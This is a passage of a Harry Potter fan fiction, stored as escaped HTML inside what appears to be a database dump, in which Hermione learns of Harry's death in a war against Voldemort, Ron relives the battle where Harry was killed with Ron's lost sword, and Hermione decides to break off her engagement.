asked Hermione. She didn\'t hear him, due to the loud music and chatter of the other people.</p>\n\n<p>&quot;What?&quot; she practically yelled.</p>\n\n<p>&quot;I was just wondering if you were having fun!&quot; he yelled back. Even though the two were barely three feet apart, conversation was virtually impossible.</p>\n\n<p>&quot;No, I mean I can\'t hear you!&quot; Hermione hollered. At that moment, the song had ended, letting everyone within a thirty-foot radius hear what she had said.</p>\n\n<p>&quot;Well, I\'ll just have to talk louder, won\'t I?&quot; he asked with a small smile on his face. Then he asked her if she\'d like to go for a walk with him. She accepted, desperate to get away from the noise and stifling heat of the club.</p>\n\n<p>Just let me find my friend and tell her I\'m leaving, okay?&quot; asked Hermione, struggling to make herself heard. He nodded his agreement and then motioned with his hands that he would meet her at the club exit.</p>\n\n<p>After a few minutes of frantic searching, she located Ginny. She was flirting with some guy with spiky blonde hair, wearing no shirt, but covered in tattoos; Mrs. Weasley would have gone into cardiac arrest had she known her daughter was even conversing with someone like that. </p>\n\n<p>&quot;Ginny! I\'m gonna go for a walk, okay?&quot; Hermione said.</p>\n\n<p>&quot;Alone?!&quot; Ginny asked incredulously.</p>\n\n<p>&quot;Um...well, not exactly,&quot; she had replied, blushing.</p>\n\n<p>&quot;I knew you had it in you! Who\'s the guy? Is he cute?&quot;</p>\n\n<p>&quot;Very. Listen, I should get going. Don\'t worry about me getting home, I\'ll probably just take a cab,&quot; said Hermione, sounding very rushed and anxious to leave.</p>\n\n<p>&quot;Well, okay...I guess. You have your cell phone, right?&quot;</p>\n\n<p>&quot;Don\'t I always?&quot; Hermione had replied with a grin. She was legendary for never going anywhere without her trusty phone. While it wasn\'t that usual that you saw a witch carrying the Muggle device, they could be extremely useful&gt;\n\n</p><p>&quot;Okay then. I\'ll call you when I\'m leaving, and I can give you a lift home if you need one, okay?&quot; said Ginny, with concern for her friend showing in her pretty face.</p>\n\n<p>&quot;Thanks, Ginny. I\'ll call you. Well, bye!&quot; said Hermione. She walked away quickly, trying not to pay attention to Ginny\'s new friend\'s eyes on her ass as she left. She walked to the glowing red EXIT sign, where she met up with her mystery date. They introduced themselves as soon as they stepped out of the hot, noisy club into the crisp night air. </p>\n\n<p>His name was James Silverton, and he was apparently a reporter for the Daily Prophet. If Hermione had not been so distracted by his eyes (light gray, almost silver) she would have remembered her encounters with one Rita Skeeter and headed right back into the club. But, fortunately for the young couple, childhood memories were the farthest thing from Hermione\'s mind right then. </p>\n\n<p>As they strolled through the streets of London, they found themselves walking into a cozy little caf. James ordered a cup of coffee (black, no sugar) while Hermione calmly sipped a tall glass of sparkling water. They talked, though if pressed, Hermione could not have told what about. After about an hour of flirtatious chat and stolen glances into each other\'s eyes, Hermione\'s cell phone rang inside her black silk purse (no leather for her). She lifted the phone to her ear, gazing into James\' face as she mouthed the words Its my friend, calling to check up on me. Imagine her surprise when the voice on the other end choked out the word &quot;Hermione?&quot; as if it were an extreme effort to utter those three syllables. The voice was definitely male, and definitely NOT Ginny. But it did sound familiar....</p>\n\n<p>&quot;Ron?&quot; she asked incredulously.</p>\n\n<p>&quot;Yeah. Yeah, its me. Listen, there\'s been...an accident,&quot; came Ron\'s voice, soft and slow. It was as if he were gathering his courage for whatever it was he had to tell her. Hermione had wild thoughts running through her mind at that point, thoughts of injury, of the Dark Lord, of death....</p>\n\n<p>&quot;What happened Ron?&quot; she asked shrilly, her concern mounting by the second.</p>\n\n<p>&quot;Its Harry. He\'s been....&quot; Hermione\'s concern instantly mutated into panic. Her throat felt constricted and she could feel a wrenching in her middle, as if someone had ripped out her intestines. By then James had realized something was terribly wrong. Seeing Hermione\'s panic- stricken face growing paler by the second, he got up out of his seat, came around to her side of the booth, and sat down next to her. She held up one finger, motioning him to be quiet.</p>\n\n<p>&quot;Yes...?&quot; she asked.</p>\n\n<p>&quot;Oh, Hermione. Harry\'s dead. Dead...dead and gone....&quot; replied Ron. Hermione\'s world, her universe, was shattered into a million pieces in that split second that Ron spoke those condemning words. She never heard what Ron said next, missed his explanation of how Harry Potter had died. She didn\'t care how it happened. She didn\'t want to know. She didn\'t hear his instructions for the funeral, which would be next week. She didn\'t hear him when he said they had both been asked to speak at the service. All she heard was the buzzing between her own ears. She calmly bid him goodbye and dropped her phone into her bag, stood up, and walked out of the caf, with James following close behind. He was full of questions. &quot;Why are you crying? Who was that on the phone? Are you okay? Do you need a ride home?&quot; The last was the only inquiry she bothered to answer. </p>\n\n<p>She accepted the ride, but didn\'t remember any of it. Indeed, Hermione felt so out of touch, it could have been someone else in that car with James. It could have been someone else who said goodnight to him, climbed the steps to her front door, turned the key, and stepped into the shadows of the dimly lit front hall. It could have been a total stranger who kicked off the black sandals (which were usually put away carefully in the hall closet, not kicked off in the middle of the floor), climbed the staircase to the second room on the left, locked the door behind her, and laid down on the bed without undressing. It could have been anyone on earth, except Hermione Granger. No, she was off in memory land, thinking herself into a figurative coma. Hermione had always thought that she thought too much....</p>\n\n<p>Harry had been a child in so many ways, wiser than an adult in so many others. He had risked his life in the face of evil so many times. He had saved so many lives in his short lifetime. And he was gone. She had never even had the chance to say goodbye, to tell him she loved him-had always loved him. What she felt for him was not love that spans all boundaries, but love that burns its way into your body slowly, until you realize that if this person is gone, they will take a part of your heart with them. He had never known, and he never would.</p>\n\n<p>James came home from work to find his fianc curled up in her favorite armchair, crying.</p>\n\n<p>&quot;Shhhhh,&quot; he said as he put his arms around her.&quot;Oh, honey. Please don\'t cry. He\'s gone. Just try and forget.&quot;</p> \n'),
	(283, 2, '<p>Author\'s Note: Here\'s the second chapter of my little story (okay, maybe it\'s not quite so little.) This one is mostly a flashback, too, like the first one. Oh, and I fixed the first paragraph. For some reason a lot of it was cut out and the beginning didn\'t make sense. Oops! Well, it\'s fixed now. I also fixed the error regarding the legal drinking age in Britain. My apologies for that oversight. Hope you like!</p>\n\n<p>Disclaimer: Everything belongs to J.K. Rowling</p>\n\n<p>Chapter 2: Blame</p>\n\n<p>Ron couldn\'t sleep. He\'d been tossing and turning in his bed for hours, trying to get comfortable despite the fact that he felt like the sheets were trying to strangle him. Now he was standing in front of his refrigerator, swigging milk straight from the carton while he stood there in his boxers, his red hair all rumpled. After replacing the now half-empty carton in the fridge, he went into the living room of his apartment in downtown London and sat down on the couch. He picked up the sword, running his fingers across the blade.</p><p>\n\n</p><p> &quot;Shit!&quot; he yelped, having cut his thumb. He wiped the blood off on his shorts and put the sword back down on the coffee table. It was a weird place to keep a weapon, but Ron didnt figure that it mattered. It wasn\'t like he ever had any visitors. And so, the sword lived on the coffee table, right next to the pile of magazines and the stacks of candy bar wrappers. Ron hated that sword. He never took the time to clean it; now it was all rusted and dull. He didn\'t care. He would have gotten rid of it, just thrown it into the garbage, if he hadn\'t felt that it would be wrong somehow. He felt he needed the sword around as a reminder, a reminder of the worst thing hed ever done.</p>\n\n<p> Ron sucked on his thumb for a minute, then sat back and closed his eyes, thinking about the sword and the part that it had played in his life. He replayed the images from his eighteenth year in his mind, as he had done so many times before. That year he couldn\'t forget, even when he tried.</p>\n\n<p>The eighteen year old Ron sat in his hammock, polishing his sword. Dull and covered with rust, it hadn\'t looked like much when he\'d gotten it. It had been his grandfathers, his fathers father. Ron received it on the day of his graduation from Hogwarts. Not impressive at first sight, he\'d worked to restore it. Now, as he sat in his tent absent-mindedly wiping at the blade with a rag, it glistened a bright silver. Engraved into the handle was one word: &quot;Weasley.&quot;</p>\n\n<p>Ron always brought the sword into battle with him, whether for good luck or for actual practical use he could never quite decide. He hadn\'t had to use it in combat yet. There was always the possibility of becoming disarmed and needing to rely on the old weapon rather than on magic. A lot of the other soldiers carried Muggle weapons, too. Ron knew for a fact that his old classmate Seamus Finnigan always kept a small hand pistol tucked inside his left boot.</p><p>\n\n</p><p>Ron\'s platoon had been involved in most of the major battles of what was beginning to be called the Second Childrens\' Crusade. Almost all of the soldiers currently fighting against the armies of Lord Voldemort weren\'t even twenty; mere boys were risking and, in many cases, losing their lives in the fight. They came straight from school, be it Hogwarts or Beauxbatons or some other magic school, to serve in the war currently raging between good and evil. And, like the first Childrens\' Crusade, this seemed to be a lost cause. They were outnumbered, their powers outweighed, by Voldemort\'s armies.</p>\n\n<p>Ron had left without a moment\'s hesitation after graduation to enlist. So had most of the boys in his graduating class, except of course for the Slytherins. Oh, theyd joined in the fighting; they were just on the other side of the fence, so to speak. So far, they were on the winning side.</p>\n\n<p>Voldemort had been gaining power and followers steadily since the end of Ron\'s fourth year at Hogwarts. Now, the Dark Lord had an army twice the size of theirs, and at least three times as powerful. The Ministry told them that it was hopeless, that they could never win. When he heard that, Ron had thought to himself that they\'d just described every great success story in history. </p>\n\n<p>While Ron and his fellow soldiers felt no regret for joining in what had been deemed a lost cause, they did fear for their own lives and for the lives of their families and friends. As they often said to one another, what was left for the magical community if they gave up? Of course, there was one thing they could do that would stop the war cold. These people, these Dark wizards who had no discernable souls and knew not the meaning of the word compassion, wanted one thing. They wanted Harry Potter dead. </p>\n\n<p>Ron\'s commanding officer and former best friend, Harry Potter himself. The boy who lived, the famous face with the famous scar was going in to battle the next day. He was going in on the front line, no less. What an idiot, but Ron had to smile at his friend\'s bravery. It had always been this way, ever since their first year together at Hogwarts. Harry risking his life up front, right in evil\'s face. Ron should have been used to it by now. But how do you get used to your very best friend having near-death experiences all the time? The answer is simple. You don\'t. </p>\n\n<p>Of course, it wasn\'t as though they had entered this situation with the same friendship that had gotten them safely through many a year at school. In fact, it hadn\'t become apparent that they were even both present until roll was taken on the first day of training. Harry was a captain, Ron a soldier. Ron was expendable. Harry was irreplaceable. He knew this and accepted it as a fact, knowing there was no way to change it. </p>\n\n<p>On that first day, Ron had been gratified to see that Harry had at least recognized his name when it was called. He had even said hello, though the greeting had sounded strained. Ron couldnt blame him for feeling awkward; the situation <i>was </i>awkward. Harry and Ron hadn\'t even said goodbye to one another on graduation day, hadn\'t even signed one another\'s yearbooks. Now they were sleeping two tents apart, and Ron received all of his orders straight from Harry\'s mouth. </p>\n\n<p>The next day their company was to march on the Dark Lord\'s forces; a sneak attack, in the early morning hours. They would probably have to leave at three oclock in the morning in order to have the advantage of surprise. Needless to say, Ron was not looking forward to it. He glanced down at his watch and was shocked to find that it was past ten already. Lights out were always called at nine- had he missed it, he\'d been so lost in thought? He stood and walked to the front of his tent, poking his head out of the door. Sure enough, he couldn\'t see a light on anywhere else in the camp, except....</p>\n\n<p>&quot;Can\'t sleep?&quot; he asked Harry, whose lantern was still burning brightly on his small desk. He took a good long look at his old friend. He still looked like a little boy. Hell, they all did. Sometimes Ron just wanted to scream that they were too young to die and should just go home, home to where their mothers could hold them when they were scared and home to a place free from death and suffering. He could tell that most of them felt the same way he did, with the exception of Harry. Harry had faced death so many times by now that it must have seemed, at least to him, that he was running out the clock, that his time was short. </p>\n\n<p>&quot;No. You?&quot; Harry replied. Despite the deep shadows underneath his eyes, he looked wide-awake.</p>\n\n<p>&quot;I\'m here, aren\'t I? I saw your light.&quot;</p>\n\n<p>&quot;I\'m just working out some plans for tomorrow,&quot; Harry said, gesturing to the maps and charts littering his desk. But Ron knew Harry better than that.</p>\n\n<p>&quot;You were thinking about your parents, you mean?&quot; he asked, knowing full well what the answer would be. Harry always thought about Lily and James when he was faced with danger, and the upcoming battle would be plenty dangerous.</p>\n\n<p>&quot;Yeah, I guess,&quot; Harry sighed, looking down at his lap. &quot;Ron? I want you to know that, well, this is gonna sound so hokey but...I never stopped thinking of you as my best friend. I just want you to remember that, okay?&quot; </p>\n\n<p>After speaking, Harry rose from his seat and gave Ron a quick hug; the two friends had never embraced before. Sure, they\'d hugged Hermione plenty of times, but never each other. Ron cringed as he remembered Hermione, and quickly pushed all thoughts of her out of his mind. </p>\n\n<p>&quot;I know that, don\'t even worry about it,&quot; Ron replied, taken aback by Harry\'s sudden display of emotion. This was a good thing; all was forgiven.</p>\n\n<p>&quot;Now get back to your tent and get some sleep. I need you ready for tomorrow,&quot; said Harry, suddenly all business.</p>\n\n<p>&quot;Yes Sir,&quot; said Ron, confused by what had just happened. He pondered it on the walk back to his tent, but forced his mind to go blank as soon as he had gotten into bed. Harry was right about one thing; he did need his sleep.</p>\n\n<p>When Ron awoke less than three hours later, he found the camp in utter chaos. From what he could gather from the garbled bits of conversation he overheard from soldiers walking by his tent, someone on their side had turned traitor and informed one of the Dark Lords minions, not only of their plans for the attack, but also of their location. The Dark army had come, in full force.</p>\n\n<p>Ron struggled to get dressed, putting on his pants backwards twice and his shirt on inside out once before he finished. </p>\n\n<p>He grabbed his wand and shoved his sword into one of the belt loops of his jeans. He left the safety of his tent and came face to face with the madness that had engulfed the camp. Tents had been torn asunder, clothing and other personal items belonging to the soldiers were lying haphazard on the ground. No one was around, they were all heading to the battle now raging on a hillside about two hundred yards from where the ruined campsite now rested. Ron\'s immediate concern was finding Harry. Not only was he worried for his friend, but Harry was his commanding officer. He needed orders. Ron found him shouting instructions to a group of panic-stricken soldiers while trying to pull his shirt on.</p>\n\n<p>&quot;Harry! What should I do?&quot; called Ron into the tent.</p>\n\n<p>&quot;Bloody Hell! Just go kill something, Weasley!&quot; Harry shouted in reply. Ron had never heard him swear before, let alone call anyone besides Draco by their last name. But Ron didnt stop to wonder, he just charged past the tents to the hillside where all the action was. </p>\n\n<p>He passed many wounded soldiers on his way to the battle, and had to force himself not to look down to see if he recognized any of them. He did pause, however, when he heard Seamus Finnigan screaming like there was no tomorrow. Ron looked down to find Seamus writhing on the ground a few feet to his left, clutching his foot. </p>\n\n<p>&quot;What happened?&quot; Ron shouted over the din.</p>\n\n<p>&quot;Shot myself! Stupid pistol, forgot it was there!&quot; replied Seamus, gritting his teeth against what Ron could only assume was terrible pain. &quot;You go, Ill be alright!&quot; he yelled. </p>\n\n<p>Ron did as he was told and rushed into the fray, flinging his sword aside in his hurry to start cursing. The words <i>Avada Kedavra</i> flew from his lips and into the darkness. The entire hill was lit with bright flashes of green as wizards fell lifeless to the ground, one after another. The battle raged for nearly two hours, Ron barely escaping death countless times as he fired curse after curse into the blackness. He had stopped thinking, stopped aiming, even. Now he was just shooting in the general direction of the Death Eaters. He had even stopped praying. </p>\n\n<p>Suddenly he heard a laugh that stopped him right in his tracks, made his blood run cold, and sent a shiver of fear running up his spine. He looked to the very top of the hill and saw none other than the Dark Lord himself, an ominous figure clad all in black standing tall against the rapidly lightening sky. And what was worse, he had Harry by the hair. He was holding him up off the ground, while Harry writhed and struggled to free himself from death\'s grip.</p>\n\n<p>To his credit, Harry didn\'t scream. He didn\'t open his mouth once, and his face was locked in an expression of what one could only call pride. Ron rushed forward, as did many other soldiers. They couldn\'t reach Harry, though. There were just too many Death Eaters, who had now formed a protective circle around their master.</p>\n\n<p>&quot;Finally!&quot; came the voice of the Dark Lord. &quot;Finally you will die, Potter!&quot; he shrieked. Ron offered a quick prayer to God, if He even existed, to spare his friend\'s life. As he looked upwards for that one second, he saw that the sky was lightening from black to gray, the stars winking out one by one. It was like they were dying....</p>\n\n<p>&quot;You can kill me, but you will be defeated in the end,&quot; Harry replied, in a strong voice devoid of any fear. He spoke not just to Voldemort, but to the Death Eaters and, most of all, to his own soldiers. Just then, Ron saw the Dark Lord draw something long and shiny from his belt-His sword!</p>\n\n<p>&quot;Prepare to meet your parents, boy!&quot; Voldemort cackled, raising the blade into the air. </p>\n\n<p>&quot;I always did wish to die up to my knees in blood,&quot; was Harry\'s perfectly calm reply.</p>\n\n<p>&quot;And how ironic, Ive just noticed something,&quot; the Dark Lord spoke again, pausing with the sword still raised. &quot;This sword I have, do you see that it bears an engraving? <i>Weasley</i>, it says. That <i>is</i> wonderful, the famous boy who lived, killed with his best friends own sword. I couldn\'t have written a more perfect ending for you!&quot; </p>\n\n<p>Then he brought the sword crashing down, impaling Harry as he fell to the ground. Voldemort disappeared, along with what remained of his entire evil army. </p>\n\n<p>Harry died before he was reached by anyone who could have helped him; indeed he was beyond help and closing in on death\'s door. One Ronald Weasley, who could do nothing but grasp his friend\'s hand, reached him, however. Harry saw those familiar eyes fill with tears, and forgave him without question, without words. His eyes rolled back, and the famous Harry Potter passed out of this world. </p>\n\n<p>It was really too bad that the dying Harry couldn\'t speak though. Ron never knew that he was forgiven, only knew that he was, at least in part, responsible for his best friend\'s death. Ron held onto Harry\'s hand for a long time, until he felt a hand on his soldier. It was Seamus, holding out his sword, now clean of blood. </p>\n\n<p>&quot;Its alright; it wasnt your fault, not really,&quot; he said. Ron just burst into tears.</p>\n\n<p>Yes, Ron felt that that night on the battlefield would stay with him forever and for always. He had dreams about it almost every night. </p>\n\n<p>He remembered making the phone call to Hermione; that had been the hardest thing of all, to tell his childhood friend that Harry had died. In a way, Harry and Hermione had been closer to each other than either had ever been to Ron. They had had this sort of bond, and oftentimes Ron had wondered if they didn\'t like each other and were just afraid to admit it. </p>\n\n<p>Ron shook his head, lifting himself from the couch. A few hours had passed since he\'d first sat down and started pondering the past. He padded back to his bedroom, thinking about the funeral and how he\'d never seen so many people crying at once, not before and certainly not since. He\'d given a short speech, as had Hermione. God, she\'d looked so devastated. She had to stop in the middle of her speech because she was crying so hard. </p>\n\n<p>Ron slipped between the sheets into bed for the second time that night. He put both of his hands behind his head and gazed at the ceiling. But, he knew he wouldn\'t be getting any sleep; not with that sword in the very next room.</p> \n'),
	(283, 3, '<p>A/N: I know that these chapters are coming out pretty fast; that\'s probably because the story is already written (at least up till chapter four) and all I\'m doing is formatting them as I go. I hope you like this chapter, and please review. Thanks.</p>\n\nChapter 3: There\'s Still Time\n\n<p> Hermione ran her fingers through her wet hair, stepping lightly out of the warm shower and onto the cold tile floor of James\' bathroom. Hermione always thought of everything in the house as belonging to James- after all, wasnt it she who\'d moved into <i>his</i> house? Hermione shook her head, spraying water droplets from her sopping hair onto the mirror above the sink.</p>\n\n<p> She looked into the fogged-up glass of the mirror, then began to slowly trace a word onto it with her finger: <i>friendship</i>. It was a concept she\'d been thinking about a lot lately; Hermione had always been much better at dealing with concepts, ideas, and theories than at dealing with actual people. They just made more sense to her.</p>\n\n<p> She\'d thought and come to the conclusion that a friendship is a very valuable and precious thing, but to find one with perfect love and perfect trust is pretty damn near impossible. As far as she could see, every relationship had a few secrets; those little white lies swept under the rug and so often forgotten. No one person was perfect and therefore no friendship could ever be without a flaw or two. No union of two people could ever be without its bumps in the road.</p>\n\n<p> Hermione wiped the mirror clean and padded down the hall from the bathroom to the bedroom she shared with James. She began rifling through her half of the closet, trying to decide what to wear to dinner, all the while continuing to contemplate the abstract concept of friendship.</p>\n\n<p> Ten minutes later Hermione sat heavily down on the foot of the bed, having despaired of finding anything suitable to wear. She heaved a sigh, not really caring about her lack of a chic ensemble. It was just another one of the Daily Prophet\'s boring press parties, the kind where she stood by the buffet table all night while James circulated. Hermione did not have the best of reputations with the reporters, due to her having imprisoned one Rita Skeeter in a jam jar when she was fourteen, and so she was usually ignored. She hated those parties, but went to please James. Maybe if she cuddled up to him and asked in her very sweetest voice, they could skip this one...but no, James would just say that it was his responsibility to go, and couldn\'t she please come to keep him company? He would win; he always won.</p><p>\n\n</p><p> Hermione lay back on the soft cream-colored bedspread, closing her eyes. All she really wanted to do tonight was heat up a bowl of soup and retire into the study with a good book. James could go it alone this once, she decided. </p>\n\n<p> Having made up her mind, Hermione stood up, dropped her towel onto the beige carpet, and put on a pair of flannels and one of James\' old t-shirts. She pulled her long hair into a messy ponytail and lay down onto the bed once more. Looking around the room, her eyes paused on her old Hogwarts yearbook, sitting innocently on the shelf between two of her own text books (<i>Study Tips and Potion Tricks: a guide for beginning potions students </i>and <i>How to Make Something from Nothing: A Conjurers Guide</i>.)She knew she shouldn\'t, but she just had to flip through it.</p>\n\n<p> She opened the book to the very first page, on which appeared the Hogwarts crest in the center, with each of the House crests filling a corner. She turned the page and found a list of all the graduating seventh years, sorted according to Houses. Next came the picture pages- these held pictures of every student in the school, grouped by House and then put into alphabetical order. Hermione didn\'t even realize she was crying until a tear splashed down onto Neville Longbottom\'s black and white face, smiling cheerfully up at her from the yearbook. All of the memories were flooding into her mind and gushing out of her eyes in the form of tears- but there was no stopping now.</p>\n\n<p> She kept turning pages until she reached the final section of the book, where each of the graduating seventh years got their own page. A color photograph was in the center, with quotes, ambitions for the future, past accomplishments, and lists of clubs and activities on the bottom. The sides and top were for signatures. Hermione knew what she would find here, in a way it was what she had been looking for when she first picked up the old yearbook. </p>\n\n<p> There, on the page opposite Parvati Patil, was Harry. The seventeen year-old Harry Potter grinned up at her, waving from the page. His hair was all mussed up, falling into his eyes the way Hermione remembered it always had. She traced her finger over the jagged lightning bolt adorning his forehead. Her breath caught in her throat as tears continued to roll down her cheeks. The desire to snap the book shut was strong inside her, but for some reason she just couldn\'t make her hands obey. Instead, she looked down to the writing just below the picture.</p>\n\n<p> Harry had written his past accomplishments himself, he hadn\'t wanted a big deal to be made out of him. He\'d said that he won a few Quidditch matches, and would that be enough for the yearbook? Hermione\'s tears flowed, and she was heaving great sobs. Harry had been so much better than any of them, he\'d been kinder and braver and, now that she took the time to read this, he was infinitely more modest than any of them had ever suspected. Hermione kept reading, looking down to Harry\'s list of clubs and activities. It was impressive; Seeker on the Gryffindor House Quidditch team for seven years, captain for three. </p>\n\n<p> Underneath that was the section called Ambitions for the Future. Hermione\'s sobs became even louder when she read this; it was just so unfair that a boy this innocent and good didn\'t get to have a future. Harry had also written this one himself: &quot;I want to make a difference in the world. I dont know how Ill do it, though. Maybe that can be my ambition, to find out how to make the world better, and then to go out and do it.&quot; </p>\n\n<p> &quot;You did...you may not know it, but you did,&quot; Hermione whispered to the page, the tears still flowing down her face. She kept them from spattering the page though; she didn\'t want to disfigure the picture of Harry as she had the smaller picture of Neville. The last part of his write-up was something she\'d always been curious about, but had never had the heart to look up. What was his quotation? What did Harry Potter, one of her best friends in the world, put down that he felt summed him up as a person? She read it and then burst out laughing, despite the tears. </p>\n\n<p>&quot;Courage is the art of being the only one that knows youre scared to death,&quot; by Harold Wilson. </p>\n\n<p><i>Harry Potter may have been a wonderful person and a great friend to me, but right about now I&#8217;d love to sock him, just once!</i> Hermione thought to herself bitterly. She was curled up in her favorite armchair in the study, glaring into the dying embers of the fire she\'d made for herself an hour ago. Tears glistened in the corners of her eyes, but she didn\'t let them fall. </p>\n\n<p>James had left for the party a couple of hours ago, and things had not ended well. Hermione thought back to the fight they\'d had right before he\'d stormed out of the front door.</p>\n\n<p>&quot;What do you mean you\'re not going?&quot; he\'d asked her incredulously when he found her curled up in her armchair wearing pajamas.</p>\n\n<p>&quot;I mean that I am going to stay home. I hate those parties and right now I just don\'t think I can deal with it.&quot;</p>\n\n<p>&quot;And why\'s that, Hermione?&quot;</p>\n\n<p>&quot;James, I just want to stay in tonight. What is the big deal?&quot; she\'d asked, wondering why he was getting so angry over a stupid little party. </p>\n\n<p>&quot;The big deal is that you told me you\'d go, last night, remember?&quot;</p>\n\n<p>She had remembered. They\'d talked about it over containers of Chinese food last night. She\'d said she would go, but then again she\'d also made it perfectly clear that she didnt want to. She thought he should be more understanding. He thought she should be more supportive of his career. The couple had found themselves locked in a stalemate. </p>\n\n<p>&quot;I found the yearbook open on the bed,&quot; James had said, his voice softening. It was open to...him. <i>Oh no</i> Hermione had thought. James had never understood about Harry, and now he\'d try to psychoanalyze her. He\'d tell her that grief was fine, but not when it ruined one\'s life. </p>\n\n<p>&quot;Honey, you can\'t sit at home every night. You can\'t shut yourself away from life because of this kid,&quot; he\'d continued, stepping closer to her as he took her into his arms. Hermione\'d rested her head on his shoulder, but her eyes had looked angry. <i>This kid</i>? &quot;Just forget about it, okay? Okay honey? Just go get dressed.&quot;</p>\n\n<p>&quot;Dressed? For the...party?&quot; Hermione\'d asked, hardly believing her ears.</p>\n\n<p>&quot;Well, yeah. We\'ll be fashionably late.&quot;</p>\n\n<p>Hermione had then lifted her head and pulled away from him. &quot;You don\'t care if I\'m upset, you only care if I look good for that damn party!&quot; she\'d snapped. &quot;It is bad enough that you don\'t even let me grieve for him, that you refer to the best friend I ever knew as <i>this kid</i>. Now you dole out fake pity just to hurry me into getting ready for a party I don\'t even want to go to? Well, I guess it sucks to be you then, because I\'m not going anywhere.&quot; With that she\'d sat down on a kitchen stool and crossed her arms over her chest, a childish gesture- but then again, she\'d just made a very childish statement.</p>\n\n<p>&quot;But you have to go!&quot; James had said, sounding slightly panicked.</p>\n\n<p>&quot;I see no reason to,&quot; Hermione\'d responded, not looking him in the eye.</p>\n\n<p>&quot;You\'re my fiance!&quot;</p>\n\n<p>&quot;I think that you\'ve confused the term \'fiance\' with the term \'female escort\'. I am the former, and therefore not paid to do your bidding. Harry would have understood...&quot; she\'d mumbled the last part, trailing off into silence as she chewed on her lower lip. She hadn\'t meant to say that, it had just slipped out.</p>\n\n<p>&quot;What?&quot; James had asked, looking slightly hurt. </p>\n\n<p>&quot;Nothing,&quot; she\'d replied, a little too quickly. She was already regretting her words. Its just, well...I don&#8217;t know. Harry just always understood what I meant, and he never forced me to do things I wasn\'t comfortable with. Like that summer when we were fifteen and he taught me how to fly-&quot; Hermione&#8217;d stopped short, seeing the look on James\' face.</p>\n\n<p>&quot;Did you love him?&quot; he had asked, suddenly sounding small and far away. It was an odd question. Hermione\'d never really thought of it....</p>\n\n<p>&quot;Yes, I think I did,&quot; she\'d answered, sounding more sure of herself than she felt. It was strange, but for all of the time she spent with Harry on her mind, she\'d never considered loving him or not loving him. He was just always there, always occupying some small space in her thoughts, and she\'d thought that had been enough.</p>\n\n<p>James\' voice had come again, sounding like a small and frightened child, interrupting Hermione\'s thoughts. &quot;More than you love me?&quot; he\'d asked, looking genuinely scared to hear the answer. </p>\n\n<p>&quot;Oh, honestly. I am not going to compare you to Harry, that\'s ridiculous,&quot; she had replied. She\'d expected her answer to come as a relief to James. She\'d even decided to forfeit and go to the party, she felt so bad for bringing Harry up. What happened next came as a complete shock. </p>\n\n<p>James had looked at her, his eyes clouding over. &quot;I thought as much,&quot; he\'d said, walking to the hall closet and grabbing his coat. &quot;I\'m going to the party. Dont wait up.&quot;</p>\n\n<p>&quot;What? James-&quot; Hermione had sputtered, but he was gone. He\'d left. </p>\n\n<p>Now Hermione sat alone in the rapidly darkening study, stroking Aurora, her calico cat. She found herself thinking about friendship again, about how every relationship has its bumps in the road. She was quickly discovering that her \'bump\' was Harry. His memory was ruining her relationship with James. </p>\n\n<p>Hermione just couldn\'t accept the fact that he was gone and never coming back. James apparently couldn\'t accept the fact that his fiance cared more for a dead person than for him. For, now that she actually sat down and thought about it, she realized that Harry really was a more integral part of her life than James, odd as it sounded even to her own ears. She also realized that she had loved him when they were kids. Not like friendship love, either, not like the love she had felt for Ron. No, she had been in love with him...and she didn\'t realize it until he\'d been dead for five years. Great timing. </p>\n\n<p>But still, it wasn\'t as though this meant that Hermione didn\'t love James. She did, she was sure of it. It was just...well, what their relationship had in sweetness and comfort, it lacked in passion and depth. They were so comfortable with one another that it was like they\'d already been married for years, which wasn\'t really a bad thing, but it did mean that they hadn\'t made love in two months. For an engaged couple living in the same house, like it or not, that was abnormal. They did talk a lot, but their conversations were mundane and usually limited to books or the next of James\' articles.</p>\n\n<p>Despite these few complaints, Hermione should have been happy. She lived in a great house, she had a successful career, and she was getting married in less than three months.</p>\n\n<p>The wedding was fast approaching. Her dress had already been ordered and paid for, a lovely white silk gown with spaghetti straps and a low back. The caterers, the hall, the church- they\'d all been booked. James and Hermione were to be married in St. Roberts, the church where James\' parents had been married twenty-six years ago. James had already been measured for his tuxedo. The invitations had gone out just last week. And Hermione had a lovely diamond engagement ring encircling her finger. She should have been happy. But one thought lingered in her mind, all the way at the back of her thoughts, all day long, every day.</p>\n\n<p><i>There\'s still time....</i></p>\n\n<p>Time for what she refused to even admit to herself. But the thought was always there, that there was still enough time left for...for what? Hermione couldn\'t finish the sentence, couldn\'t form the words, she was so scared of what they meant. But, when she looked into her heart, into the very recesses of her soul, she found herself wondering, considering breaking off her engagement with James. She didn\'t quite know what it was that she wanted out of life, but she did know that this wasnt it.</p>\n\n<p>And so on that night, while James was at his party, Hermione decided to leave. She knew it wasn\'t fair to stay, it wasn\'t fair to James and it certainly wasn\'t fair to her. So, she packed up all her clothes and books, put Aurora into her cat carrier...and it wasn\'t until she was all ready to go that she realized she had nowhere <i>to</i> go. She couldn\'t call her parents; they loved James, and would never understand why she had to leave him. She didn\'t really have any friends of her own; the only ones she\'d made since school were friends of James\'. One name did enter her mind, but she couldn\'t call him. It would be ridiculous, she couldn\'t.... Nevertheless, she found herself scanning a phone book ten minutes later for the familiar name. She hoped that he would even have a phone; it wasn\'t that common for wizards to use the Muggle devices. Her prayers were answered when she found the name at the back of the book.</p>\n\n<p>The phone rang and rang; Hermione had almost given up hope when a familiar voice answered. </p>\n\n<p>&quot;Hello?&quot;</p>\n\n<p>&quot;Hi Ron. It\'s me, Hermione,&quot; she said, her heart pounding inexplicably. This was <i>Ron</i>; why was she so nervous he\'d turn her away?</p>\n\n<p>&quot;Oh! Um, what\'s up?&quot; he asked. It was such a simple question, and yet Hermione found herself at a loss for an answer. Instead, she burst into tears and just blurted it out.</p>\n\n<p>&quot;I\'m breaking off my engagement with James!&quot; she sobbed. There was silence on the other end for a few minutes before Ron\'s voice filled her ear again.</p>\n\n<p>&quot;You\'re engaged?&quot; he asked, sounding dumbfounded. Then Hermione remembered that Ron hadn\'t been invited to the wedding; James had thought it best, since he would only remind Hermione of Harry. So Ron had never even known.</p>\n\n<p>&quot;Yes, I\'m engaged-or, I was. Listen, I\'ll tell you all about it, I promise. But I need-oh God, I feel awful asking you for anything-&quot; she trailed off, crying even harder.</p>\n\n<p>&quot;Whatever it is Hermione, just ask. m grateful you thought to call me, of all people. What is it you need?&quot; Ron\'s voice was soothing, and it worked to calm Hermione down. She hiccupped a few times, wiped her cheeks dry of tears, and spoke.</p>\n\n<p>&quot;I need a place to stay, just until I can find a place of my own,&quot; she said. 